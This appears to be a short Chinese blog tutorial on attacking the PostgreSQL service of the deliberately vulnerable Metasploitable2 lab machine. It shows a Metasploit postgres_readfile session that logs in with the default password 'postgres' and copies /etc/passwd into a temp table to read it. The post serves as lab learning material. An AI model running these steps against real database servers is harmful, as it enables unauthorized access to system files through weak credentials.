Metasploitable2 - tcp port 5432 - postgres

最新推荐文章于 2023-01-16 21:20:42 发布

Nixawk

最新推荐文章于 2023-01-16 21:20:42 发布

阅读量1.1k

点赞数

分类专栏： Pentesting Metasploitable2 Metasploit

本文链接：https://blog.csdn.net/nixawk/article/details/38326823

版权

Pentesting 同时被 3 个专栏收录

160 篇文章 1 订阅

订阅专栏

Metasploit

65 篇文章 1 订阅

订阅专栏

Metasploitable2

13 篇文章 0 订阅

订阅专栏

PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES，现在已经更名为PostgreSQL. Metasploit 默认后端使用的就是该数据库.

msf auxiliary(postgres_readfile) > show options

Module options (auxiliary/admin/postgres/postgres_readfile):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD                   no        The password for the specified username. Leave blank for a random password.
   RFILE     /etc/passwd      yes       The remote file
   RHOST                      yes       The target address
   RPORT     5432             yes       The target port
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose output

msf auxiliary(postgres_readfile) > set RHOST 192.168.1.111
RHOST => 192.168.1.111
msf auxiliary(postgres_readfile) > set PASSWORD postgres
PASSWORD => postgres
msf auxiliary(postgres_readfile) > run

Query Text: 'CREATE TEMP TABLE EAQkNVJNpCMqfQa (INPUT TEXT);
      COPY EAQkNVJNpCMqfQa FROM '/etc/passwd';
      SELECT * FROM EAQkNVJNpCMqfQa'

上面通过弱口令，可以登陆数据库.